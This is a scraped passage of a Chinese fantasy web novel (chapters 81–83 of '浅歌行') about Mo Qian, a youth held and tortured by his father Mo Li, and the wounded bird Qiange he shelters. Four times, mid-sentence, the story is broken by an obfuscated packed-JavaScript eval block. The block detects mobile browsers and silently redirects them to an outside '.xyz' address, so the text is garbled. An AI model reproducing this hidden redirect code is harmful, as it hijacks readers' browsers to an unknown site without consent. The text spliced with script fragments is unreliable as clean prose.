“你疯了,你疯了!”陌离震惊地注视着眼前这一幕,不自知地往后倒退,掐在陌浅脖颈间的手微微颤抖。 女子不断地往手中的肋骨注入神力,那半透明的肋骨逐渐变为彻底透明,被她的神力炼化成了一柄有剑柄而无剑身的神剑。 不知是不是觉醒了神力的缘故,她的鲜血也不再是红色。 青色的血染遍了她的全身,顺着她的衣襟淌下,顺着她手中的神剑流下,在地上积了好大一片。 陌浅先是不可置信地注视着眼前发生的一幕幕,在看到母亲生生将肋骨从身体里拔出之后,他捂住自己的脑袋发出尖叫。 这一幕带给他的伤害太大了,以至于当青鸾的精神游丝将这一段记忆从他的潜意识中挖掘出来时,他的整个识海都发生了震荡。 他不愿意记起这一幕,如果可以,他宁愿永远疯癫下去,将这一段恐怖的记忆永远深藏在潜意识里。 青鸾心有不忍,犹豫了一瞬,还是控制着自己的精神游丝往更深处探去。 她需要知道更多的信息。 陌浅的识海已有崩塌的迹象,在青鸾强硬的控制下才保持着随时都有可能破碎的稳定。 以神力化剑似乎消耗了女子太多的力气,她弯下腰缓了一阵,趁陌离在震惊之中还未反应过来,抬手挥剑砍断了锁链。 那束缚着她的锁链是锁神链,是陌离专程从九重天宫求来的。 在女子尚未觉醒后神血脉之前,锁神链足够封印她的神力,可是当她觉醒之后,原本强大无比的锁链便成为了无用的器具。 金色的锁链在被神剑砍断之后萎顿于地,瞬间变为了生锈的铁链。 眼见着女子彻底挣脱了束缚,陌离这才慌了神,他不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14290217|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地后退,却早已退无可退。 女子摆动着蛇尾来到他的面前,面对这个昔日的伴侣,此刻她似乎已经无话可言。 两人便如此静默地对视了片刻,女子挥出了第三剑。 方才的两剑她砍断了束缚着自己的锁神链,此刻的第三剑无疑是要取陌离的性命。 然而在那把散发着腾腾杀气的剑落到陌离头上之前,他将陌浅从地上提起来,挡到了他自己的面前。 滔天的剑气戛然而止,女子原本泛着红光的眼眸也在看到陌浅之后重新变得清澈。 她缓缓放下了手中的剑。 “大不了我和他一起死,他现在在我的手上,我有一百种杀了他的方法。”见女子把剑放下,陌离松了口气,随即更加恶劣地道:“不过比起死在我的手里,让你亲手杀了你的孩子岂不更加可笑?来啊,杀了我,也杀了他!” 女子沉默地攥紧了手中的剑,过了许久,她终于开口说话。 声音却是比最深处的海水还要冰冷。 她说:“阿浅也是你的孩子。” 陌离怔了一怔,然后摇着头轻蔑地笑:“他是我的孩子,可是我却早已不记得自己有什么亲人。你明明知晓我在地宫中看到的一切,却还是选择背叛我。在你背叛我的那一刻,他便不配做我的孩子了。” 说着,他于掌间燃起心火。 那心火不仅照亮了整座海底牢狱,也照亮了青鸾的眼眸。 她虽然猜到陌离一定与心火有着某种联系,却没有想到他竟能直接催动心火。 拥有心火的条件到底是什么? 她越发好奇了。 却见牢狱之中现出一道悬浮的阶梯,如青鸾之前在里面催动心火时见到的那样,阶梯两侧散发着微弱的光,黑暗的尽头是一座巨大的青铜门。 “你是打算自己进去,还是打算看着你的孩子死在你的眼前?”陌离一边催动心火,一边加大了掐住陌浅脖颈的力度。 陌浅已被掐得脸色青白,下一秒就会窒息。 他当真已经毫不在意父子之情,若她继续犹豫下去,他真的会杀了他。 女子不住地摇头,她红着眼松开了手,手中的剑哐当一声落下。 “自己进去,不要让我再说第二遍。” 陌离掌心心火更盛,便连青鸾都听到了悬浮阶梯背后数道铜门开启的声音。 “母亲……不要……”陌浅一手攀住陌离的胳膊,一手绝望地伸向女子。 一道泪从女子脸庞滑下,她最后望了陌浅一眼,闭上眼睛转身向阶梯后的铜门游去。 为了给陌浅一条生路,她选择将自己囚禁在永无天日的地狱里。 铜门发出巨响,将女子关在陌离口中的归宿里,阶梯两侧昏暗的烛火渐次熄灭,这座海底牢狱重新回到了黑暗与寂静里。 陌离挑了挑眉,熄灭掌心心火,松了手将陌浅从空中扔下。 摔倒在地的陌浅捂住喉咙不住地咳嗽,好不容易缓了过来,他便连滚带爬地朝陌离扑去:“我杀了你……我杀了你!你这个坏人……你不得好死!” 81. 浅歌行 陌离垂首注视着他,任由这个愤怒的孩子对着自己拳打脚踢,不仅不躲避,目光里甚至还增添了几分玩味。 他实在是太小了,这样弱小的孩子对自己造不成半点伤害,因为太过弱小,他拳打脚踢的动作甚至有些令人发笑。 “你要杀我,好啊。”突然,他好似想到了什么很有趣的事情,俯身捡起女子扔下的那把剑,转而递给陌浅,挑眉冲着他笑:“这是你母亲留给你的剑,你便用它来杀了我吧,如果你做得到的话。” 陌浅举起剑毫不犹豫地刺向陌离,然而这柄神剑在他手中并没有发挥出方才那样强大的力量,它甚至没有触碰到陌离的衣衫,便被对方一下子弹开。 巨大的冲击力让陌浅跟着剑一起飞到了老远之外,他没有放弃,再次举着剑朝陌离冲过去。 他就这样一次一次地冲向陌离,又一次一次地被陌离弹开,这样的游戏直到陌离觉得无趣了为止。 不知过了多久,他再次抬手扼住了陌浅的咽喉。 “你太弱了,弱到我已经没有兴致在这里看你胡闹。”说着,他掐着陌浅的喉咙将他带离了海底牢狱,回到了海上仙宫,“我给你时间让你修炼,能不能用这把剑杀了我就看你自己的本事。” 将陌浅扔进房间里,他随手布下禁制,嘴角依然带着恶意的笑:“不过你修炼的速度可得快一点,不然恐怕来不及杀了我,就要失去神智变成疯子,跟你的母亲一起在地下相见了。” 看到这里青鸾心中一惊。 看来千歌虽不知晓内情,但她的直觉并没有错。 陌浅变成如今这个疯癫的模样,竟然真的是拜他的亲生父亲所赐。 可惜画面到这里便终止了,心火的催动使得陌浅逐渐开始恢复意识,虽然他还没有完全醒来,但他的潜意识已经开始驱逐那些闯入识海的不速之客。 青鸾感受到自己的精神游丝正在识海主人的驱离下分崩离析,她当机立断,迅速撤了出来。 疲惫地睁开双眼,她若有所思地望向正在一旁闭目为他们护法的千歌。 根据千歌方才言语间透露出来的信息,青鸾可以断定她并不知晓这诸多内情。 作为一直陪伴在陌浅身边,并且是他最信任的人,她却并不知道陌浅还有一个弟弟,甚至陌浅还对她欺瞒了一个最关键的讯息。 他其实一直都知道他的母亲被关在了何处,也知道陌离让他们母子分离的内情。 可是他骗千歌说自己不知道。 青鸾转过头,将目光从千歌移到陌浅身上。 他为何要欺瞒千歌? 无外乎三种可能。 第一,不让千歌知晓这些肮脏的内情,其实是为了保护她的安全。 第二,自从患上癔症之后,便连他自己都记不清其中隐情,因此才对千歌说他不知道母亲的去向。 第三,刻意隐瞒其中内情,是为了让千歌懵懂无知地身在局中,顺便因为他而无比仇视陌离,陌浅如此做,是因为保持无知而又愤懑状态的千歌于他而言最有用处。 若在以前,青鸾一定会以为答案是第一个。 可是现在的她不这么认为了。 比起第一种可能,现在的她更倾向于相信第三个——陌浅需要千歌一直保持无知的愤怒。 越往深了思索,青鸾的目光便越发冷了下来。 尽管方才她的精神游丝被陌浅的识海驱赶了出来,可是毕竟他仍旧处于昏迷的状态,尚未恢复对自己记忆的全部掌控权。 只要不往潜意识深处走就好了,青鸾闭上眼睛,再次释放出精神游丝,往陌浅的记忆之海探去。 果然,这一次她无法再如方才那般畅通无阻地进入他的潜意识深处,却仍旧能够在他表层的记忆之海进行窥探。 这次她所看到的画面比方才明亮了许多。 记忆碎片带给人的感觉是治愈温暖的,便连作为旁观者的青鸾也忍不住眼前一亮。 成年后的陌浅似乎早已习惯了被软禁在海上仙宫的日子,即便陌离撤了仙宫的禁制,他也完全不会生出逃离的想法。 这些年来他不是没有想过逃跑,可是每一次尚未离开东海海域便会被抓回来,抓回来后等待着他的是比软禁更加可怖的刑罚。 甚至有的时候陌离会产生一种以折磨他为乐的恶趣味。 他会故意撤了布在仙宫附近的禁制,故意调走安排在陌浅寝宫周围的侍卫,给陌浅一点微茫的希望,然后在陌浅忍不住偷偷逃离海上仙宫时,再出现在他离开东海仙宫的必经之路上。 这样的把戏陌离玩了许多次,上百年来乐此不疲。 陌浅却是疲惫已极,他不愿意再陪陌离玩这个猫捉老鼠的游戏,也就不再试图逃离这座华丽的牢狱。 即便此刻的海上仙宫已经被撤了好几个月的禁制。 他麻木地坐在窗前遥望着前方的海域,就这样日复一日地望着,心中却再也生不起一点倘若离开之后会怎样的遐想。 千歌便是在这时出现在他的生命里,为他灰色的人生带来一抹色彩的。 彼时她尚未化形,仍旧是一只鸟儿的形态,不知道经历了什么,她的两个翅膀都被烧成了黑色。 在飞到陌浅窗前时,她再也支撑不住,摇摇晃晃地落到了他的窗台上。 陌浅似乎是吓了一跳,他错愕地站起身来往后退了几步,下意识以为这又是父亲同他开的恶意的玩笑。 然而在他定下神来之后才发现,落到他窗台上的只是一只受伤的鸟儿,通体乌黑,平平无奇。 甚至算得上丑陋。 鸟儿无力地挥动着翅膀,在窗台上一点点挪动着,似是在对绝望的命运做出反抗。 这种绝望却又不甘放弃的挣扎似乎是令他想起了自己的母亲,总之他犹豫了一下,然后缓缓靠近了她。 他没有立即捡起她。 而是在注视了她好一会儿,又左右张望了一阵,确定她身上没有父亲做过的手脚后,他才轻轻地捧起了她。 “你受伤了吗?怎么搞的。”他的声音很轻,也确如千歌所说的那般温柔:“没事了,在我的法阵中休息吧,你会好起来的。” 陌浅继承了他母亲布阵的天赋。 各类阵法的形状与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335220|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口诀似乎就流淌在他的血液中,陌离从未请过师父教他,他却是无师自通,一点一点琢磨出了许多法阵的用法。 这种小型的疗愈类法阵是他最先研究出来的阵法。 被陌离带到海上仙宫之后,他绝大多数时间都是独自待在自己的寝宫里。 偶尔陌离会主动来寻他,那才是他在海上仙宫最大的噩梦。 陌离每次来寻他都是在喝得酩酊大醉的时候,喝醉了的陌离反倒比平时平静了不少,他不会再打骂陌浅,也不会再歇斯底里控诉陌浅母亲的罪行。 他只会借着月光安静地注视陌浅片刻,似是陷入了某种回忆。 这种近乎温情的注视常常会令陌浅感到恶心,于是他会在陌离的状态最为放松之时仰首癫狂地笑。 那是他对这个一手创造了残忍现实却又忍不住回忆往昔美好的男人最肆无忌惮的嘲笑。 他读得懂陌离的目光,知道他在露出那样的神情时其实是在怀念他的母亲。 可他不允许他怀念她。 尤其是通过他与母亲相似的脸。 被打断了回忆的陌离自然会十分恼怒,可是这种时候的他往往会克制住自己的怒气。 他来找陌浅,原本就不是为了怀念那个被他亲手锁进地宫中的妻子。 还有更重要的事情要做。 他抓过陌浅的手,在他的手臂上划出一道深可见骨的口子。 殷红的血液顺着伤口流出,如果仔细去看,会发现红色里还隐隐透着一点青色。 陌浅继承了他母亲的后神血统。 陌离在凝视着那道被他划出的伤口时会露出复杂的表情,有嫌恶,有纳罕,似乎还有一点兴奋。 然后他会取出一个青铜制成的罗盘,将陌浅伤口处流出的血尽数滴到了罗盘上。 罗盘上刻着一些蜿蜒的花纹,它们在感受到鲜血的气息时便纷纷活了过来,就如青鸾曾在地宫铜门上见到的那些花纹一般,它们交织着蠕动着,吸收着陌浅手臂上滴落下来的血。 陌浅并不知道那个罗盘是什么,也不知晓陌离为何要这样做。 但他可以确定一点,陌离这样做绝不是为了泄愤,亦或是如平常那般恶意地戏弄他那么简单。 他永远记得母亲被关入地宫那年陌离对她说过的话。 他说他有一个伟大的计划。 垂首注视着永不餍足地吸食着自己鲜血的青铜罗盘,他攥紧了拳第无数次告诉自己再忍一忍。 忍到陌离暴露出更多的马脚。 忍到打破他所谓的伟大计划。 忍到从那个地宫中救出母亲。 在此之前他都不会求死,他会好好活着,活着等到那一天的来临。 陌离自然也不会让他死,留着他还很有用处。 事实上他也并不知晓到底什么时候才能喂饱罗盘,让它觉醒力量发挥出应有的作用。 直到陌浅因失血过多变得脸色苍白,陌离才会撤了罗盘,将袖一甩离开寝宫,留陌浅独自一人在漆黑的宫殿中捂住胳膊忍受着剧痛,等待着伤好之后再一次被迫以鲜血喂食罗盘。 82. 浅歌行 陌离在他手臂上划的那道伤口实在太深,结痂前的每一日都疼痛无比,这种折磨人的剧痛常常会令他整夜整夜地睡不着觉。 更要命的是没有人为他医治,没有被妥善处理的伤口总是会化脓,他想不出什么别的方法,只能咬牙将化脓的地方全部剔除掉。 有时候这样做是有用的,伤口会慢慢结痂,可有时曾经化脓的地方会再次溢出脓水,他只能拼命忍受着一日比一日更甚的疼痛。 后来,他终于在剧痛中自己钻研出了疗愈的阵法。 在此之前他失败过无数次,等到阵法初成,温暖的微光轻轻地舔舐着他已经化脓的伤口时,成年后的他第一次流下了泪。 这个疗愈法阵无数次替他稀释着疼痛,为他治好了伤口,如今他将卧在自己手掌上的黑黢黢的鸟儿放了进去,催动这个法阵治愈着她。 鸟儿伤得不轻,在法阵中昏睡了三天三夜才慢慢醒转。 醒来后她慌张地左冲右撞,似乎是以为自己被抓起来关进了笼子里,扇动着尚未痊愈的翅膀,挣扎着想要出去。 陌浅见她这副模样,便尝试着与她对话:“也不知道你听不听得懂,这是一个法阵,并不是鸟笼,是用来给你疗伤的,不是用来关住你的。” 鸟儿歪了歪脑袋,似乎是思索了一下,然后更加激烈地挣扎起来。 陌浅以为她听不懂人话,于是无奈地叹了口气,带着一丝丝恼怒:“你长得这么丑,不会有人想把你抓进笼子里观赏的。” 鸟儿突然就停下了动作,不再疯狂地扇动翅膀,而是一动不动地盯着陌浅,好像整只鸟都被石化了一样。 陌浅确信自己在一只鸟的脸上看到了幽怨的表情。 于是他改变了方才的想法。 现在他觉得这只鸟是听得懂人话的。 听得懂人话那就好办了。 他指了指法阵,示意鸟儿到法阵中央光芒最盛处待着:“到那里去,你的伤能好得更快。” 见鸟儿迟疑了一下然后按照他的指示照做,当真挪挪屁股蹲到了法阵最中央去,他满意地点了点头。 与鸟儿对视了一会,他突然想到一个很重要的问题:“你需要喝水吗?不喝水行不行?” 鸟儿脸上露出无语的表情。 她先是点了点头,这是回答他的第一个问题。 然后摇了摇头,这是回答他的第二个问题。 神奇的是陌浅居然看懂了她的回答,然后他不死心地继续问:“那你需要吃饭吗?不吃饭会死吗?” 鸟儿歪着脑袋再次深深地注视着陌浅,怀疑这个人是不是傻的。 她再次点了点头,这是回答她需不需要吃饭的问题。 紧接着更加用力地点头,表明事情的严重性,要是不给她饭吃,她立马就能死给他看。 最重要的是,好几日没有进食的她现在已经饿得眼冒金星了。 陌浅见她又是要喝水又是要吃饭的,却是露出了为难的表情。 要喝水要吃饭,那可就难办了。 毕竟他拥有后神血脉,这天地之间的灵气便是他的养料,他是从来都不用进食的。 上百年来海上仙宫都不曾给他准备过吃食,此时他若骤然提出需要食物,肯定会引起陌离的怀疑。 他绝不能让陌离知道鸟儿的存在。 许久以前他曾经豢养过一只很美丽的鸟儿,那只鸟儿是陌离送给他的生辰礼物。 那时陌离还没有开始同他玩那套猫捉老鼠的游戏,他将陌浅带回海上仙宫之后,给他安排了不错的寝殿,一应用具不缺,甚至允许他在宫中随意走动。 因此最初陌浅还对这个父亲抱有不切实际的幻想。 他以为父母的决裂是因为对某件事情观念的不合,他以为父亲终究还是爱母亲的。 因此他对自己不会那么残忍。 于是在生辰那一日,他欣然收下了陌离送的这个礼物。 鸟儿被关在一个华丽的笼子里,他每日都会不厌其烦地替它整理羽毛,喂它喝水吃饭。 鸟儿会陪他一起安静地坐在窗前望着外面广阔的天空,一人一鸟常常一坐便是一整日。 那时陌浅还不像现在这般寡言,他善于观察生活,也会把他在生活中看到的细微而闪光的发现絮絮地说给鸟儿听。 “我发现有一只鸟很没有方向感,它每次飞着飞着都会偏离鸟群,然后独自一个在空中晕头转向地飞,直到它的父母找到它。” “我听说岸上有许多人类生活的城镇,他们养鸟儿很有一套,还研制出了许多美味的鸟食,回头我差人到岸上去寻一寻,也找些更好吃的食物来给你。” “每年冬天海上的星星是最好看的。虽然夏天夜空中的星星会更多,但是冬天的星星都浸着一股冷意,好像结了霜一样,每一颗星子都是澄澈的。” 他用澄澈来形容星星。 鸟儿在一旁温顺地听着,听完之后眨眨眼睛,从笼子里伸出头来蹭一蹭陌浅的肩膀。 “你也很期待看到冬天的星星吗?”陌浅用手托住它的脑袋,注视着它那像冬夜星子一样好看的眼睛,扬起嘴唇笑了笑。 可是它没有活到冬天来临的那一日,没能看到冬夜里的星星是什么样子。 陌离在深秋的最后一个晚上闯进了他的寝殿,不顾陌浅的哭求,发了狂似地举起关着鸟儿的笼子在墙上猛砸。 华丽的鸟笼在一次次的撞击下分崩离析,鸟儿发出惊恐的叫声,被陌离砸得浑身是血。 直到它逐渐没了声音,气息奄奄地倒在血泊之中,陌离才满意地停了下来。 鸟儿的血溅在破碎的笼子上,也溅在了陌离的衣衫上,他转过身注视着同样瘫倒在地的陌浅,用染血的手指抚上他的脸庞。 “你不觉得自己很可怜吗?”他用陌浅的脸揩拭着自己手上的血,语气里满是嘲讽:“有时候连我都会觉得你可怜,你跟这个被关在笼子里的鸟有什么区别?” 那晚陌离打碎了华丽的鸟笼,也打碎了陌浅心中最后的幻想。 他不再对这个父亲抱有任何的期待,他从此明白在陌离漫长而又痛苦的生活中,自己是被他用来折磨取乐的玩物。 虽然他并不十分明白父亲对自己的恨意到底来自哪里。 也许是他那个忤逆了陌离的母亲。 也许是因为他所继承的后神血脉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345375|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亦或者其实并不为了什么,陌离就只是单纯的以折磨他为乐。 但这些都无所谓。 陌浅瘫坐在地上,一动不动地注视着血泊中的鸟儿。 它洁白的羽毛全都被血染红了。 他告诉自己,一切都无所谓,不管真相是什么,对他来说都无所谓。 从此陌离与他只有一种关系,那就是不死不休的敌人。 见到陌浅彻底呆滞在了原地,无论什么羞辱他的话语都无激起他的反应,陌离终于百无聊赖地站起身来,踩了血泊中的鸟儿一脚,轻蔑地笑了一笑。 “希望你比它顽强些,这么容易就死了,可没什么意思。” 撂下这句话,他关上了寝殿的大门。 下一秒陌浅连滚带爬地冲向鸟儿,捡起气息奄奄的它。 鸟儿在他的怀中缓了许久,然后费力地抬起头来,原本漂亮如星辰的眼眸也染上了血色。 “你没有死。”陌浅欣喜地望着它,抱着它跌跌撞撞地来到窗前:“那你走吧,快点离开这里,千万不能让他发现你还活着……快点,快走啊……” 鸟儿的血顺着陌浅的手流了一地,它好似听懂了陌浅的话语,仰起头沙哑地叫了一声,然后踉跄着在窗台上站起身来。 见它站了起来,陌浅连忙将窗户开到最大。 “快走……快走……” 他一遍又一遍地重复着这句话,将鸟儿推向于他而言遥不可及的广阔天空。 鸟儿无数次耷拉下脑袋,却又无数次倔强地昂起头,最后终于颤颤巍巍地扇动起翅膀,飞进无边的夜色里。 陌浅紧盯着鸟儿离开的背影,望着它时而高时而低地往东海之外飞去,在它最后一次用力挥舞残损的翅膀往天上飞,却最终失去力气坠入海面之后,他的心也彻底沉了下去。 那个被他用心照顾的鸟儿没能活过最后一个秋天。 从那之后他便生出了逃离这个地方的想法,开始一次又一次地计划着逃跑的路线,然后一次又一次地被陌离戏弄于股掌之间。 如今在他早已没了逃跑的心思时,千歌却突然闯入了他的世界。 他望着法阵中那只黑黢黢的鸟,陷入了深深的思考。 所以,到底该怎么在不被陌离发现的情况下解决她要吃饭喝水这个问题? 思索许久后他做下决定。 他决定去偷。 海上仙宫中的人员不少,除了陌浅与陌离不需要进食外,其余的人每日都需要喝水吃饭。 因此仙宫中其实是设有厨房的,只是以前陌浅从来不会涉足而已。 换一个思路去想,不需要进食的陌离大概率也不会踏足厨房。 所以那里虽然人多,却反而是个比较安全的地方。 随着年岁的增长,陌浅体内的神力也越来越强,若只是隐蔽身形屏蔽气息去厨房偷一些吃食,对于他来说还是不难的。 事实也的确如此,他每次都能很顺利地取到食物。 只是没有想到,给他制造难题的不是海上仙宫的那些守卫,而是被他保护在法阵中的那只鸟。 那只鸟…… 她挑食! 83. 浅歌行 关于陌浅是怎么发现鸟儿挑食的,说来也十分可笑。 陌浅揣度一只鸟的胃口想必不会太大,再加上他要隐瞒这件事情,偷食物便不能偷得太明显。 厨房中的食物每样都偷一点点,不一下子拿太多,这样就不容易被发现。 于是被他取走用来喂鸟的食物便五花八门什么都有。 正常的食物譬如米饭馒头,略不正常的食物譬如宫人解暑用的酸梅汤,更不正常的还有用辣椒炒过的肉。 然后他就发现鸟儿在吃饭的时候会挑挑拣拣,好吃的她会先吃,不太好吃的放到后头再吃,最不好吃的她就干脆不吃。 于是每次吃完饭后法阵里都会整整齐齐地留下一排她不肯吃的食物。 陌浅就这样发现了千歌的饮食偏好。 她喜辣喜甜,不喜欢酸也不喜欢苦。 陌浅很纳闷,喜食甜也就罢了,喜欢吃辣是怎么回事? 更令他感到纳闷的是,比起跟辣椒一起炒过的肉,她似乎更喜欢吃辣椒本身。 作为一只鸟喜欢吃辣椒,这正常吗? 千歌对此也很有意见。 她又何尝不纳闷,作为一只鸟,她看起来像是能吃得下苦瓜和柠檬的样子吗? 虽说她寄人篱下也不好挑剔什么,可是这人给自己喂东西也太不拘小节了吧? 一人一鸟就这样在对对方的纳闷之中和谐地相处了一段时间。 逐渐摸清千歌的饮食喜好之后,陌浅便会着意多取一些合她口味的食物来。 起初千歌还没有看出来每天食物的变化,等她发现每次陌浅都会特意送一些她喜欢的食物来之后,她终于对这个细心照顾她的人生出了一些真心实意的感谢,慢慢放下了对他的戒备。 母亲对她说过,他们鵸鵌一族浑身都是宝,无数人觊觎着他们身上的宝藏,这些人为了夺走宝物会无所不用其极。 对此,母亲教给她一个保命的方法,那就是时刻铭记一点:翼望山外的绝大多数人都不是什么好人。 无论何时何地都要隐藏好自己的身份,千万不要随意地告诉别人。 因为一旦他们知晓了她的身份,知道了她这一身皮毛价值几何,知道了她的血肉可以入药,那么与她再亲近的人都有可能会变了一副面孔。 在陌浅又一次将她喜欢的食物送进法阵中来的时候,她犹犹豫豫地靠近他,主动将脑袋搭在他的手掌心。 只要不告诉他自己的身份就好了吧? 千歌这么想着,然后亲昵地蹭了蹭他。 只要隐藏好身份,她觉得自己还是可以主动亲近这个释放着善意的人的。 陌浅在千歌主动靠过来时身体一僵,他本能地想要后退,却在对上她的眼睛时微微一颤。 这只鸟虽然黑黢黢的不太好看,但是她也有一双如星辰般好看的眼睛。 他陷入了一段痛苦的回忆,在她用脑袋亲昵地蹭着他时,回忆中的苦涩似乎得到了稀释。 于是他翻过手抚了抚她的脑袋。 之后没过多久千歌便彻底痊愈,陌浅撤了法阵捧着她来到窗前。 “你走吧。”他注视着她恢复正常不再残损的翅膀:“离开这里,去你想去的地方吧。” 鸟儿歪着脑袋看他,在看出他故作洒脱的神情背后隐藏着的不舍之意后,眼里闪过狡黠的光,然后扇扇翅膀往窗外飞去。 “说走就走啊……”陌浅目送着她离去的背影,嘴角勾起一抹落寞的笑。 还真是一只无情无义的鸟,跟从前养的那只一点都不一样。 不过这样也好。 他安静地在窗前坐下。 就这样离开了也好,至少离开的时候,她不是遍体鳞伤。 他就这样在窗前坐了整整一天,直到夜幕降临,星子在夜空中浮现,它们的光芒照耀着海面,照亮了一个朝自己飞来的黑色影子。 他先是不可置信地观察着她,在看清楚那个小小的黑色影子之后,一抹微不可见的喜色攀上了他的眉梢。 是那只挑食的鸟。 她居然又回来了。 千歌回到窗前,盘旋了几圈后在他的肩头落下,却听到他问:“回来做什么?” 千歌一愣,然后在心里骂,真是个无情无义的人! 又听到他继续问:“你为什么不回家?是没有家么?” 千歌心里一梗,这回连骂都懒得骂他了,直接埋头在他的脸上一啄。 她的喙不算硬,啄得也不太用力,落到陌浅脸上反而痒得他笑着往后一缩。 然后千歌就从他的肩膀上飞了下来,飞到他的眼前,对着他点了点头。 这个点头是什么意思? 陌浅怔了一怔,回想起初见她的那一天,她浑身黢黑连翅膀都被烧焦了的模样:“你是当真没有家了么?” 千歌再次点了点头。 其实他猜得倒也没错,翼望山毁于几月前的一场天火,她失去了她的家园,成为了世上最后一只鵸鵌鸟。 陌浅沉默了一会儿,招了招手,示意千歌停到他的臂上。 待千歌停稳之后他说:“虽然你没有家了……” 他本来想告诉她,这里却也不会是她的家,比起这座活死人墓,也许外面那广阔的天地于她而言更为安全。 可是在看见千歌期待的目光时,他硬生生将这番话咽了回去,转而道:“那么你想留在这里也是可以的。” 千歌眨眨眼睛,欢欣地埋下头再啄了他一口。 这回是充满爱意的啄。 从此她便留在了海上仙宫,白日里陪陌浅坐在窗前遥望海面,听着他有一搭没一搭地闲聊自己日常的发现,晚上就卧在他的枕头边,听着他的呼吸声和他一起入睡。 不过陌浅其实是不允许千歌睡在他的枕头上的,他特意为她搭了一个小窝,每次见她不肯往小窝里去非要钻到他的枕上来时,他都会不厌其烦地将她拎下来,扔回她自己的专属小窝去。 千歌则会委屈巴巴地在小窝里趴一会儿,然后继续锲而不舍地往他枕头上飞。 时间久了,这似乎反倒成为了他们睡前的游戏。 于是陌浅在千歌心里留下了个沉闷但温柔的好印象,她实在是喜欢同陌浅一起相处的这些时光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365484|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可惜美好的一切在陌离又一次携着青铜罗盘闯入陌浅寝殿时化为泡影。 在听见门外回廊上急促的脚步声时,陌浅身体的反应比大脑更快,他一瞬之间布出一个屏蔽阵法,将还在枕上酣睡的千歌一把扔了进去。 千歌只觉得身体一轻,还没来得及睁眼就被投掷进了阵法里。 待她睁开眼时,看见的就是陌离攥住陌浅的手,划破他的手臂将血液喂给罗盘的一幕。 法阵之外的人看不见她,也感应不到她的气息,她却可以看见法阵外的人,听见他们的声音。 她听见了利刃划破陌浅皮肉的声音,听见了陌浅强忍着倒吸一口凉气的声音,还听见了陌离的声音。 “跟你的母亲一样是个只知道忤逆我的贱种。” “你若是肯乖乖配合我,又何必受这么多苦?” “没有关系,我可以陪你一起慢慢熬,熬到你受不了的那一天为止……” 她不知道陌离说的这些话是什么意思,但她知道这个人对陌浅有着很大的恶意。 他在伤害他。 于是她屏住呼吸,紧紧地捂住了自己的嘴巴。 即便知道自己此刻身处屏蔽法阵里,她还是不敢发出一点声音,生怕惊动了陌离会给陌浅带来更大的麻烦。 她一直以为陌浅是海上仙宫的少主,每一个宫人都对他恭恭敬敬,这里就是他的家。 却没有想到,原来这座华丽的仙宫于陌浅而言不过是一座飞不出去的囚笼。 她突然想起痊愈那晚陌浅捧着她走到窗前时的那个眼神。 沉静而又哀伤,还带有一点羡慕的眼神。 就在陌离终于折磨够了陌浅,扔下他转身离去,陌浅独自捂着伤痕累累的手臂坐在黑暗中的时候,千歌做下了一个要永远陪伴他的决定。 她从法阵中飞出来,飞到他的身边,注视着他仍在流血的伤口。 “没事的。”陌浅扯了扯嘴角,似是早就习以为常,他轻轻地道:“一会儿就好了,还记得那个疗愈法阵吗?把手放进去就不疼了。” 千歌听得皱了皱眉头。 明明伤得这么重的人是他,却反倒若无其事地安慰自己,也不知道这个人是怎么想的。 他难道不疼吗? 她往前走了几步,靠近一些瞧他的伤口。 怎么可能不疼呢,这样深的伤。 陌浅捂住手臂缓了一会儿,然后调整姿势靠在墙壁上单手布阵。 大颗大颗的汗珠从他苍白的脸颊滑下,他的嘴唇没有一点血色,却还是咬牙不让自己发出一点类似疼痛的声音。 这是千歌第一次意识到,眼前的这个人除了温柔,还有着超乎寻常的坚韧。 在他第三次因为剧痛而暂停布阵的时候,她不忍地闭上眼睛,轻轻地唱起了歌。 陌浅布阵的动作顿了一顿,他抬起头注视着千歌,听了一会儿后神色变得复杂。 他沙哑着声音问她:“你来自鵸鵌一族?” 